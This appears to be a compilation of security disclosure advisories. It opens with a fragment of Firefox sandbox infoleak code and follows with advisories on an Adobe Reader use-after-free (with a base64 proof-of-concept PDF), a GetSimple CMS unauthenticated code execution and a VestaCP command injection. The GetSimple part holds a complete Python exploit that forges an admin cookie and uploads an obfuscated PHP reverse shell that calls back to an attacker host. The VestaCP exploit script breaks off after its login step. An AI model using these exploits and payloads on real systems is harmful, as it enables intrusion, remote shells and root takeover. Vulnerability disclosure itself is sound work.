	// trigger the infoleak
	leakedHandle = leakFromSandbox();
	// now leakedHandle == firefox!sandbox::CrossCallParamsEx::GetParameterStr+0xbb
	// we just leaked uninitialized memory that use to contain a return address
	__asm int 3;
	return leakedHandle;
}
// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are
// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own
// DllMain and use the LoadRemoteLibraryR() API to inject this DLL.
// You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c)
extern HINSTANCE hAppInstance;
//===============================================================================================//
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
    BOOL bReturnValue = TRUE;
	switch( dwReason )
    {
		case DLL_QUERY_HMODULE:
			if( lpReserved != NULL )
				*(HMODULE *)lpReserved = hAppInstance;
			break;
		case DLL_PROCESS_ATTACH:
			hAppInstance = hinstDLL;
			testSandbox();
			break;
		case DLL_PROCESS_DETACH:
		case DLL_THREAD_ATTACH:
		case DLL_THREAD_DETACH:
            break;
    }
	return bReturnValue;
}
#pragma once
#include <Windows.h>
#define OFFSET_TO_G_SHARED_IPC_MEMORY 0x000411c0
typedef _Return_type_success_(return >= 0) LONG NTSTATUS;
#define 	OBJ_CASE_INSENSITIVE   0x00000040
#define InitializeObjectAttributes(p, n, a, r, s) { \
     (p)->Length = sizeof(OBJECT_ATTRIBUTES); \
     (p)->RootDirectory = r; \
     (p)->Attributes = a; \
     (p)->ObjectName = n; \
     (p)->SecurityDescriptor = s; \
     (p)->SecurityQualityOfService = NULL; \
     }
typedef struct _UNICODE_STRING {
	USHORT Length;
	USHORT MaximumLength;
	PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES {
	ULONG           Length;
	HANDLE          RootDirectory;
	PUNICODE_STRING ObjectName;
	ULONG           Attributes;
	PVOID           SecurityDescriptor;
	PVOID           SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
typedef struct _FILE_BASIC_INFORMATION {
	LARGE_INTEGER CreationTime;
	LARGE_INTEGER LastAccessTime;
	LARGE_INTEGER LastWriteTime;
	LARGE_INTEGER ChangeTime;
	ULONG         FileAttributes;
} FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION;
typedef struct _IO_STATUS_BLOCK {
	union {
		NTSTATUS Status;
		PVOID    Pointer;
	} DUMMYUNIONNAME;
	ULONG_PTR Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
typedef NTSTATUS(__stdcall *NT_OPEN_FILE)(OUT PHANDLE FileHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG ShareAccess, IN ULONG OpenOptions);
typedef void(*_RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
typedef NTSTATUS(*_NtQueryAttributesFile)(POBJECT_ATTRIBUTES ObjectAttributes, PFILE_BASIC_INFORMATION FileInformation);

SSD Advisory – Adobe Acrobat Reader DC Use After Free

Vulnerability Summary
A use-after-free vulnerability exists in Adobe Acrobat Reader DC, which allows attackers execute arbitrary code with the privileges of the current user.
CVE
CVE-2019-7805
Credit
An independent Security Researcher has reported this vulnerability to SSD Secure Disclosure program.
Affected systems

ProductTrackAffected VersionsPlatform
Acrobat DCContinuous2019.010.20100 and earlier versionsWindows and macOS
Acrobat Reader DCContinuous2019.010.20099 and earlier versionsWindows and macOS
    
Acrobat 2017Classic 20172017.011.30140 and earlier versionWindows and macOS
Acrobat Reader 2017Classic 20172017.011.30138 and earlier versionWindows and macOS
    
Acrobat DCClassic 20152015.006.30495 and earlier versionsWindows and macOS
Acrobat Reader DCClassic 20152015.006.30493 and earlier versionsWindows and macOS

Vendor Response
Adobe fixed this vulnerability and released a public security advisory in May 14, 2019. Adobe Advisory
Vulnerability Details
How to reproduce:
1. Set Paged Heap on for the “AcrodRD32.exe”
2. Open the attached “poc.pdf”, and you will see the crash.
Using WinDbg, we will see the following crash analysis. The test was done on Windows 10. Don’t forget to set Paged Heap on for the “AcroRd32.exe”.
Crash info

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.dll -
*** WARNING: Unable to verify checksum for C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annots.api
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annots.api -
eax=00000000 ebx=3541efd8 ecx=15b2adc0 edx=3540cfe8 esi=00000000 edi=1e178bd8
eip=68406302 esp=00efeba0 ebp=00efeba0 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
AcroRd32!CTJPEGWriter::CTJPEGWriter+0x8235f:
68406302 66398100010000  cmp     word ptr [ecx+100h],ax   ds:002b:15b2aec0=????
1:012> kv
 # ChildEBP RetAddr  Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00 00efeba0 66aea056 15b2adc0 c3ad4164 1e178bd8 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x8235f
01 00efec08 66aea024 00000001 3542cfb8 3542cf90 Annots!PlugInMain+0x3780e
02 00efec28 66ae9c12 297aefe8 00efec78 68380dfe Annots!PlugInMain+0x377dc
03 00efec34 68380dfe 3540aff0 1df3c3db 2803cff8 Annots!PlugInMain+0x373ca
04 00efec78 683808ed 3542cfb8 1df3c34b 0000011c AcroRd32!DllCanUnloadNow+0x1f5d4
05 00efece8 6838069f 1df3c2b3 00000113 0b518fd8 AcroRd32!DllCanUnloadNow+0x1f0c3
06 00efed10 68321267 000004d3 00000000 00000113 AcroRd32!DllCanUnloadNow+0x1ee75
07 00efed2c 7761bf1b 001205da 00000113 000004d3 AcroRd32!AcroWinMainSandbox+0x77f1
08 00efed58 776183ea 68320d1c 001205da 00000113 USER32!_InternalCallWinProc+0x2b
09 00efee40 77617c9e 68320d1c 00000000 00000113 USER32!UserCallWinProcCheckWow+0x3aa (FPO: [SEH])
0a 00efeebc 77617a80 adba9dc5 00eff154 6837ffca USER32!DispatchMessageWorker+0x20e (FPO: [Non-Fpo])
0b 00efeec8 6837ffca 00efeef4 1df3def7 00000001 USER32!DispatchMessageW+0x10 (FPO: [Non-Fpo])
0c 00eff154 6837fd92 1df3de2f 00000001 0b3f6de0 AcroRd32!DllCanUnloadNow+0x1e7a0
0d 00eff18c 6831a359 1df3de5b 0b206fa0 00eff6cc AcroRd32!DllCanUnloadNow+0x1e568
0e 00eff1f8 68319c2d 682f0000 00390000 0b206fa0 AcroRd32!AcroWinMainSandbox+0x8e3
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for AcroRd32.exe -
0f 00eff614 00397319 682f0000 00390000 0b206fa0 AcroRd32!AcroWinMainSandbox+0x1b7
10 00eff9dc 0049889a 00390000 00000000 0486a0d4 AcroRd32_exe+0x7319
11 00effa28 76418484 00c1a000 76418460 1545a828 AcroRd32_exe!AcroRd32IsBrokerProcess+0x908ba
12 00effa3c 77ae302c 00c1a000 1ed50fae 00000000 KERNEL32!BaseThreadInitThunk+0x24 (FPO: [Non-Fpo])
13 00effa84 77ae2ffa ffffffff 77afec59 00000000 ntdll!__RtlUserThreadStart+0x2f (FPO: [SEH])
14 00effa94 00000000 00391367 00c1a000 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])
1:012> !heap -p -a ecx
    address 15b2adc0 found in
    _DPH_HEAP_ROOT @ 4851000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                   15ae1e38:         15b2a000             2000
    6a2bae02 verifier!AVrfDebugPageHeapFree+0x000000c2
    77b62fa1 ntdll!RtlDebugFreeHeap+0x0000003e
    77ac2735 ntdll!RtlpFreeHeap+0x000000d5
    77ac2302 ntdll!RtlFreeHeap+0x00000222
    7789e13b ucrtbase!_free_base+0x0000001b
    7789e108 ucrtbase!free+0x00000018
    6833f927 AcroRd32!CTJPEGLibInit+0x00003a77
    683de9cd AcroRd32!CTJPEGWriter::CTJPEGWriter+0x0005aa2a
    683ca751 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x000467ae
    683ca1f7 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00046254
    6845e886 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x000da8e3
    6845c847 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x000d88a4
    6845c7b5 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x000d8812
    6845c6d0 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x000d872d
    684a4526 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00120583
    6845752c AcroRd32!CTJPEGWriter::CTJPEGWriter+0x000d3589
    684c1dc1 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x0013de1e
    684abd11 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00127d6e
    684a705a AcroRd32!CTJPEGWriter::CTJPEGWriter+0x001230b7
    684a6a0d AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00122a6a
    684a64b4 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00122511
    684ab857 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x001278b4
    684aa2d7 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00126334
    684a6ac7 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00122b24
    684a64b4 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00122511
    684ab857 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x001278b4
    684aa2d7 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00126334
    684a6ac7 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00122b24
    684a64b4 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00122511
    684ab857 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x001278b4
    684aa2d7 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00126334
    684a6ac7 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00122b24

ECX register is pointing to a freed memory. It is clear that this is a use-after-free condition.
If you will analyze the “poc.pdf”, several conditions must be met in order to reproduce this crash.
1. A pdf embedding another pdf, when opening the main pdf, the embedded pdf is opened.
2. The embedded pdf should contain JavaScript part. Any JavaScript is enough to trigger the crash.
It seems that as long as the above conditions meet, the poc will succeed.
The attacker can run JavaScript code in the embedded pdf in order to exploit this use-after-free vulnerability.
PoC
The poc.pdf file contains binary data, so we will encode it in base64.

JVBERi0xLjcNCjEgMCBvYmoNCjw8IC9UeXBlIC9DYXRhbG9nDQovUGFnZXMgMi
AwIFINCi9OYW1lcyA8PCAvRW1iZWRkZWRGaWxlcyA8PCAvTmFtZXMgWyA8Njc2ZjJlNzA2NDY2P
iA1IDAgUiBdDSA+Pg0gPj4NID4+DQplbmRvYmoNCg0KMiAwIG9iag0KPDwgL0tpZHMgWyAzIDAg
UiBdDQovVHlwZSAvUGFnZXMNCi9Db3VudCAxDSA+Pg0KZW5kb2JqDQoNCjMgMCBvYmoNCjw8IC9
QYXJlbnQgMiAwIFINCi9Db250ZW50cyA2IDAgUg0KL1Jlc291cmNlcyA8PCA+Pg0KL0FBIDw8IC
9PIDcgMCBSDSA+Pg0KL01lZGlhQm94IFsgMCAwIDYwMCA4MDAgXQ0KL1R5cGUgL1BhZ2UNID4+D
QplbmRvYmoNCg0KNCAwIG9iag0KPDwgL0xlbmd0aCAzNTANCi9UeXBlIC9FbWJlZGRlZEZpbGUN
Ci9GaWx0ZXIgL0ZsYXRlRGVjb2RlDQovUGFyYW1zIDw8IC9TaXplIDYxOQ0KL0NoZWNrc3VtIDw
5OGE2ZWJhZjcxOTZhNTMzNzQxMmE0NzU1OTE4NjgxMz4NID4+DQovU3VidHlwZSAvYXBwbGljYX
Rpb24jMkZwZGYNID4+DQpzdHJlYW0NCnicbZI7TsNAEIYRBYWlbTjBNKl4+G0SKYoECRFKQInsU
KEUiz0JRsYbrRcUOAunQFRUnIMTUHEAGhjbCo5ibNnS/Dvzzfy72xj3+gfm4RHTGu8/X99vH0wz
wQBxfcu0dhv0yeMCQe9yxRMxZ5o+5nPMwKIUn6LRAtPjUMUiBaeQoNNhGqZRUc80ax01jKMMrsD
OE2FK1SW7IFLUFfepAnMTYa8jxlwiJa3aVwAKfMzEvQxpOsrMGfoFRjE/EUtqatDrGQY06Ztutn
DqhktTxAhAH/AHHoQyXiiKBwG4/zl11xnnmM7VDZhNKujHiUIJej/hCnsYigjL2kxJ5HdMWz7vD
ff9s9fLweRlZ2sXtj8L7mq5arGUOGMa+aDf3wOe69ouzCrNbEG5klZay6lppmfWNMszapptNStN
SR4nKEuXQfyE+TC6LwQdXLUrmeJSldM6Vn6zGqej/i+EoJlTDQplbmRzdHJlYW0NCmVuZG9iag0
KDQo1IDAgb2JqDQo8PCAvRiAoZ28ucGRmKQ0KL1R5cGUgL0ZpbGVzcGVjDQovRUYgPDwgL0YgNC
AwIFINID4+DSA+Pg0KZW5kb2JqDQoNCjYgMCBvYmoNCjw8IC9MZW5ndGggMA0gPj4NCnN0cmVhb
Q0KDQplbmRzdHJlYW0NCmVuZG9iag0KDQo3IDAgb2JqDQo8PCAvTmV3V2luZG93IGZhbHNlDQov
VCA8PCAvTiA8Njc2ZjJlNzA2NDY2Pg0KL1IgL0MNID4+DQovUyAvR29Ub0UNID4+DQplbmRvYmo
NCg0KeHJlZg0KMCA4DQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMTAgMDAwMDAgbg0KMD
AwMDAwMDEzNSAwMDAwMCBuDQowMDAwMDAwMjAyIDAwMDAwIG4NCjAwMDAwMDAzMzkgMDAwMDAgb
g0KMDAwMDAwMDg5MyAwMDAwMCBuDQowMDAwMDAwOTcwIDAwMDAwIG4NCjAwMDAwMDEwMjggMDAw
MDAgbg0KdHJhaWxlcg0KPDwgL1NpemUgOA0KL1Jvb3QgMSAwIFINID4+DQpzdGFydHhyZWYNCjE
xMTkNCiUlRU9GDQo=

SSD Advisory – GetSimple CMS Unauthenticated Remote Code Execution

Vulnerabilities Summary
The following advisory describes a vulnerability in GetSimple CMS which allows unauthenticated attackers to perform Remote Code Execution.
CVE
CVE-2019-11231
Credit
An independent Security Researcher, truerand0m, has reported this vulnerability to SSD Secure Disclosure program.
Affected systems
GetSimple CMS version 3.3.15 (Latest at the time of writing this post) and before.
Vendor Response
We have notified the vendor on the 21/1/2019 and sent few reminder emails but got no response from the vendor.
Vulnerability Details
An insufficient input sanitation is in the theme-edit.php file allows to upload files with arbitrary content (PHPcode for example). This vulnerability can be triggered by an authenticated user, however authentication can be bypassed.
According to the official installation documentation, specially, step 10, an admin is required to upload all the files, including the .htaccess files and run a health check.

However, what is overlooked is that Apache by default does not enable “allowoverride” directive anymore so we can expose passwords:
http://localhost/GetSimpleCMS-3.3.15/data/users/admin.xml

<item>
  <USR>admin</USR>
  <NAME>zo</NAME>
  <PWD>a94a8fe5ccb19ba61c4c0873d391e987982fbbd3</PWD>
  <EMAIL>pwning@zo</EMAIL>
  <HTMLEDITOR>1</HTMLEDITOR>
  <TIMEZONE/>
  <LANG>en_US</LANG>
</item>

The problem is that the passwords are hashed so we need a way to bypass this issue. We can access the API key in:
http://localhost/GetSimpleCMS-3.3.15/data/other/authorization.xml

<item>
  <apikey>44769f621e9b7db1bb19adbdf659b015</apikey>
</item>

What this allows us to do is target the session state, since they decided to roll their own implementation. Inside of admin/inc/configuration.php we see the following code:

$site_full_name     = 'GetSimple';
$site_version_no    = '3.3.15';
$name_url_clean     = lowercase(str_replace(' ','-',$site_full_name));
$ver_no_clean       = str_replace('.','',$site_version_no);
$site_link_back_url = 'http://get-simple.info/';
// cookie config
$cookie_name = lowercase($name_url_clean) .'_cookie_'. $ver_no_clean; // non-hashed name of cookie

The cookie_name is crafted information that can be leaked from the frontend (site name and version). Then, later in admin/inc/cookie_functions.php we can see the following code:

/**
 * Check Login Cookie
 *
 * @since 1.0
 * @uses $cookie_login
 * @uses cookie_check
 * @uses redirect
 */
function login_cookie_check() {
    global $cookie_login;
    if(cookie_check()) {
        create_cookie();
    } else {
        $qstring = filter_queryString(array('id'));
        $redirect_url = $cookie_login.'?redirect='.myself(FALSE).'?'.$qstring;
        redirect($redirect_url);
    }
}
function cookie_check() {
    global $USR,$SALT,$cookie_name;
    $saltUSR = $USR.$SALT;
    $saltCOOKIE = sha1($cookie_name.$SALT);
    if(isset($_COOKIE[$saltCOOKIE])&&$_COOKIE[$saltCOOKIE]==sha1($saltUSR)) {
        return TRUE; // Cookie proves logged in status.
    } else {
        return FALSE;
    }
}
/**
 * Create Cookie
 *
 * @since 1.0
 * @uses $USR
 * @uses $SALT
 * @uses $cookie_time
 * @uses $cookie_name
 */
function create_cookie() {
  global $USR,$SALT,$cookie_time,$cookie_name;
  $saltUSR    = sha1($USR.$SALT);
  $saltCOOKIE = sha1($cookie_name.$SALT);
  gs_setcookie('GS_ADMIN_USERNAME', $USR);
  gs_setcookie($saltCOOKIE, $saltUSR);
}
/**
 * set a gs cookie
 * @since  3.3.5
 * @param  str $id    cookie id
 * @param  str $value value of cookie
 * @return bool       true if headers not sent
 */
function gs_setcookie($id,$value){
    GLOBAL $cookie_time, $cookie_path, $cookie_domain, $cookie_secure, $cookie_httponly;
    $expire = time() + $cookie_time;
    // debugLog('set cookie: '.implode(',',array($id, $value, $cookie_time, $cookie_path, $cookie_domain, $cookie_secure, $cookie_httponly)));
    return setcookie($id, $value, $expire, $cookie_path, $cookie_domain, $cookie_secure, $cookie_httponly);
}
/**
 * Unset a gs cookie
 * @since  3.3.5
 * @param  str $id id of cookie
 * @return bool       true if headers not sent
 */
function gs_unsetcookie($id){
    GLOBAL $cookie_time, $cookie_path, $cookie_domain, $cookie_secure, $cookie_httponly;
    // debugLog('unset cookie: '.implode(',',array($id, false, $cookie_time, $cookie_path, $cookie_domain, $cookie_secure, $cookie_httponly)));
    return setcookie($id,false,1,$cookie_path,$cookie_domain,$cookie_secure, $cookie_httponly);
}

If someone leaks the API key (44769f621e9b7db1bb19adbdf659b015) and the admin username (admin) then they can bypass authentication. To do so, they need to supply a cookie that is set to:
sha1(getsimple_cookie_3315 + 44769f621e9b7db1bb19adbdf659b015) = sha1(admin + 44769f621e9b7db1bb19adbdf659b015)
Cookie: GS_ADMIN_USERNAME {username};sha1(getsimple_cookie_{cmsversion}{salt})=sha1({username}{salt});
The vulnerability exists in the admin/theme-edit.php file. This file checks for forms submissions via POST request and for the CSRF nonce passed. If the nonce sent is correct then the file provided by the user is uploaded.

if((isset($_POST['submitsave']))){
    # check for csrf
    if (!defined('GSNOCSRF') || (GSNOCSRF == FALSE) ) {
        $nonce = $_POST['nonce'];
        if(!check_nonce($nonce,"save")){ die("CSRF detected!"); }
    }
    # save edited template file
    $SavedFile = $_POST['edited_file'];
    $FileContents=get_magic_quotes_gpc()?stripslashes($_POST['content']):$_POST['content'];
    # [1]
    $fh = fopen(GSTHEMESPATH . $SavedFile, 'w') or die("can't open file");
    fwrite($fh, $FileContents);
    fclose($fh);
    $success = sprintf(i18n_r('TEMPLATE_FILE'), $SavedFile);
}

The vulnerability is a path traversal allowing to write outside the jailed themes directory root. However, we don’t even need it due to the .htaccess assumption, we can write into the same directory to gain a shell.
The other issue here is that there isn’t another check on the extension before saving the file. The file is being saved with the assumption that the parameter `content` is safe. This allows the creation of web accessible and executable files with arbitrary content.
Exploit

import re
import sys
import socket
import hashlib
import requests
import telnetlib
from threading import Thread
from xml.etree import ElementTree
class gscms_pwner:
    def __init__(self, target, path, username, cb_host, cb_port):
        self.target  = target
        self.path    = path
        self.un      = username
        self.cb_host = cb_host
        self.cb_port = cb_port
        self.version = None
        self.apikey  = None
    def set_headers(self):
        self.h = {
            'Content-Type':'application/x-www-form-urlencoded',
            'Cookie': self.cookies
        }
    def set_cookies(self):
        self.cookies = "GS_ADMIN_USERNAME=%s;%s=%s" % (self.un, self.get_cookie_name(), self.get_cookie_value())
        self.set_headers()
    def get_cookie_name(self):
        cn = "getsimple_cookie_%s%s" % (self.version.replace(".", ""), self.apikey)
        sha1 = hashlib.sha1()
        sha1.update(cn)
        return sha1.hexdigest()
    def get_cookie_value(self):
        cv = "%s%s" % (self.un, self.apikey)
        sha1 = hashlib.sha1()
        sha1.update(cv)
        return sha1.hexdigest()
    def get_version(self):
        print "(+) fingerprinting the targets version"
        r = requests.get("http://%s%sadmin/index.php" % (self.target, self.path))
        match = re.search("jquery.getsimple.js\?v=(.*)\"", r.text)
        if match:
            self.version = match.group(1)
            print "(+) found version: %s" % self.version
            return True
        return False
    def check_htaccess(self):
        print "(+) checking .htaccess exposure..."
        r = requests.get("http://%s%sdata/other/authorization.xml" % (self.target, self.path))
        if r.ok:
            tree = ElementTree.fromstring(r.content)
            self.apikey = tree[0].text
            print "(+) leaked key: %s" % self.apikey
            return True
        return False
    def check_username_disclosure(self):
        print "(+) no username provided, attempting username leak..."
        r = requests.get("http://%s%sdata/users/" % (self.target, self.path))
        match = re.search("href=\"(.*).xml\"", r.text)
        if match:
            self.un = match.group(1)
            print "(+) found username: %s" % self.un
            return True
        return False
    def get_nonce(self):
        r = requests.get("http://%s%sadmin/theme-edit.php" % (self.target, self.path), headers=self.h)
        m = re.search('nonce" type="hidden" value="(.*)"', r.text)
        if m:
            print("(+) obtained csrf nonce: %s" % m.group(1))
            return m.group(1)
        return None
    def upload(self, fname, content):
            n = self.get_nonce()
            if n != None:
                try:
                    p = {
                        'submitsave': 2,
                        'edited_file': fname,
                        'content': content,
                        'nonce': n
                    }
                    r = requests.post("http://%s%sadmin/theme-edit.php" % (self.target, self.path), headers=self.h, data=p)
                    if 'CSRF detected!' not in r.text:
                        print('(+) shell uploaded to http://%s%stheme/%s' % (self.target, self.path, fname))
                        return True
                    else: print("(-) couldn't upload shell %s " % fname)
                except Exception as e:
                    print(e)
            return False
    # build the reverse php shell
    def build_php_code(self):
        phpkode  = ("""
        @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);""")
        phpkode += ("""$dis=@ini_get('disable_functions');""")
        phpkode += ("""if(!empty($dis)){$dis=preg_replace('/[, ]+/', ',', $dis);$dis=explode(',', $dis);""")
        phpkode += ("""$dis=array_map('trim', $dis);}else{$dis=array();} """)
        phpkode += ("""if(!function_exists('LcNIcoB')){function LcNIcoB($c){ """)
        phpkode += ("""global $dis;if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {$c=$c." 2>&1\\n";} """)
        phpkode += ("""$imARhD='is_callable';$kqqI='in_array';""")
        phpkode += ("""if($imARhD('popen')and!$kqqI('popen',$dis)){$fp=popen($c,'r');""")
        phpkode += ("""$o=NULL;if(is_resource($fp)){while(!feof($fp)){ """)
        phpkode += ("""$o.=fread($fp,1024);}}@pclose($fp);}else""")
        phpkode += ("""if($imARhD('proc_open')and!$kqqI('proc_open',$dis)){ """)
        phpkode += ("""$handle=proc_open($c,array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$pipes); """)
        phpkode += ("""$o=NULL;while(!feof($pipes[1])){$o.=fread($pipes[1],1024);} """)
        phpkode += ("""@proc_close($handle);}else if($imARhD('system')and!$kqqI('system',$dis)){ """)
        phpkode += ("""ob_start();system($c);$o=ob_get_contents();ob_end_clean(); """)
        phpkode += ("""}else if($imARhD('passthru')and!$kqqI('passthru',$dis)){ob_start();passthru($c); """)
        phpkode += ("""$o=ob_get_contents();ob_end_clean(); """)
        phpkode += ("""}else if($imARhD('shell_exec')and!$kqqI('shell_exec',$dis)){ """)
        phpkode += ("""$o=shell_exec($c);}else if($imARhD('exec')and!$kqqI('exec',$dis)){ """)
        phpkode += ("""$o=array();exec($c,$o);$o=join(chr(10),$o).chr(10);}else{$o=0;}return $o;}} """)
        phpkode += ("""$nofuncs='no exec functions'; """)
        phpkode += ("""if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){ """)
        phpkode += ("""$s=@fsockopen('tcp://%s','%d');while($c=fread($s,2048)){$out = ''; """ % (self.cb_host, self.cb_port))
        phpkode += ("""if(substr($c,0,3) == 'cd '){chdir(substr($c,3,-1)); """)
        phpkode += ("""}elseif (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit'){break;}else{ """)
        phpkode += ("""$out=LcNIcoB(substr($c,0,-1));if($out===false){fwrite($s,$nofuncs); """)
        phpkode += ("""break;}}fwrite($s,$out);}fclose($s);}else{ """)
        phpkode += ("""$s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);@socket_connect($s,'%s','%d'); """ % (self.cb_host, self.cb_port))
        phpkode += ("""@socket_write($s,"socket_create");while($c=@socket_read($s,2048)){ """)
        phpkode += ("""$out = '';if(substr($c,0,3) == 'cd '){chdir(substr($c,3,-1)); """)
        phpkode += ("""} else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') { """)
        phpkode += ("""break;}else{$out=LcNIcoB(substr($c,0,-1));if($out===false){ """)
        phpkode += ("""@socket_write($s,$nofuncs);break;}}@socket_write($s,$out,strlen($out)); """)
        phpkode += ("""}@socket_close($s);} """)
        return phpkode
    def handler(self):
        print "(+) starting handler on port %d" % self.cb_port
        t = telnetlib.Telnet()
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind(("0.0.0.0", self.cb_port))
        s.listen(1)
        conn, addr = s.accept()
        print "(+) connection from %s" % addr[0]
        t.sock = conn
        print "(+) pop thy shell!"
        t.interact()
    def exec_code(self):
        handlerthr = Thread(target=self.handler)
        handlerthr.start()
        requests.get("http://%s/%s/theme/poc.php" % (self.target, self.path))
    def exploit(self):
        print "(+) targeting: http://%s%s" % (self.target, self.path)
        if self.get_version():
            if self.check_htaccess():
                if self.un == None:
                    # requires directory listing
                    self.check_username_disclosure()
                self.set_cookies()
                self.upload('poc.php', "<?php %s" % self.build_php_code())
                print "(+) triggering connectback to: %s:%d" % (self.cb_host, self.cb_port)
                self.exec_code()
        else:
            print "(-) invalid target uri!"
            sys.exit(-1)
def main():
    if len(sys.argv) < 4:
        print "(+) usage: %s <target> <path> <connectback:port> [username]" % sys.argv[0]
        print "(+) eg: %s 172.16.175.156 /" % sys.argv[0]
        print "(+) eg: %s 172.16.175.156 /GetSimpleCMS-3.3.15/ 172.16.175.1:909" % sys.argv[0]
        print "(+) eg: %s 172.16.175.156 /GetSimpleCMS-3.3.15/ 172.16.175.1:909 admin" % sys.argv[0]
        sys.exit(1)
    t = sys.argv[1]
    p = sys.argv[2]
    if not p.endswith("/"):
        p += "/"
    if not p.startswith("/"):
        p = "/%s" % p
    if ":" not in sys.argv[3]:
        cb_port = 4444
        cb_host = sys.argv[3]
    else:
        cb_port = sys.argv[3].split(":")[1]
        cb_host = sys.argv[3].split(":")[0]
        if not cb_port.isdigit():
            cb_port = 4444
        else:
            cb_port = int(cb_port)
    u = None
    if len(sys.argv) == 5:
        u = sys.argv[4]
    gp = gscms_pwner(t, p, u, cb_host, cb_port)
    gp.exploit()
if __name__ == '__main__':
    main()

SSD Advisory – Vesta CP Remote Command Execution To Privilege Escalation

Vulnerabilities Summary
The following advisory describes a vulnerability in Vesta control panel (VestaCP), an open source hosting control panel, which can be used to manage multiple websites, create and manage email accounts, FTP accounts, and MySQL databases, manage DNS records and more.
CVE
CVE-2019-9859
Credit
An independent Security Researcher, 0xecute, has reported this vulnerability to SSD Secure Disclosure program.
Affected systems
VestaCP versions 0.9.7-0.9.8-23.
Vendor Response
The vendor released a fixed version on April 15.
Vulnerability Details
VestaCP is vulnerable to an authenticated command execution which
can result a remote root access on the server.
The platform works with PHP as the frontend language and uses shell scripts to execute system actions. PHP executes shell script through the dangerous command exec. This function can be dangerous if arguments passed to it are not filtered. Every user input in VestaCP that is used as argument is filtered with the escapeshellarg function. This function comes from the php library directly and its description is as follow:
escapeshellarg() adds single quotes around a string and quotes/escapes any existing single quotes allowing you to pass a string directly to a shell function and having it be treated as a single safe argument. It means that if you give Username, it will be replaced with ‘Username’. This works well and protects users from exploiting this potentially dangerous exec function.
Unfortunately, VestaCP uses this escapeshellarg function wrong at several places. We can see an example in web\list\dns\index.php:
exec (VESTA_CMD."v-list-dns-records '".$user."' '".escapeshellarg($_GET['domain'])."' 'json'", $output, $return_var);
We can see the escapeshellarg use on the user input, but it is surrounded by single quote! If we remember the goal of escapeshellarg, it already adds a single quote around the input.
This error means that if we give an input with a space, we are not inside the second argument of the v-list-dns-records function and not surrounded by single quote anymore.
It will give for $_GET[‘domain’]=abc `touch/tmp/hacked` the following
Exec(v-list-dns-records ‘username’ ‘’abc `touch /tmp/hacked`) This will consider ‘’abc as the second argument, and `touch /tmp/hacked` will be executed as a system command as it is outside quotes.
This error can be found in the following files:
web\edit\server\index.php : 4 times
web\list\dns\index.php: 1 time
web\list\mail\index.php: 1 time
Exploit

import requests
from bs4 import BeautifulSoup
username='simpleUser'
password='welcome123'
serverIP='https://192.168.56.102:8083'
newRootPassword='welcomeRoot'
vestaPath='/usr/local/vesta'
cmd='sudo '+vestaPath+'/bin/v-change-user-password admin '+newRootPassword
s = requests.session()
r = s.get(serverIP+'/login/', verify=False)
soup = BeautifulSoup(r.text, features="html.parser")
token = soup.find('input', {'name': 'token'}).get('value')
print(token)
## Authentication ##
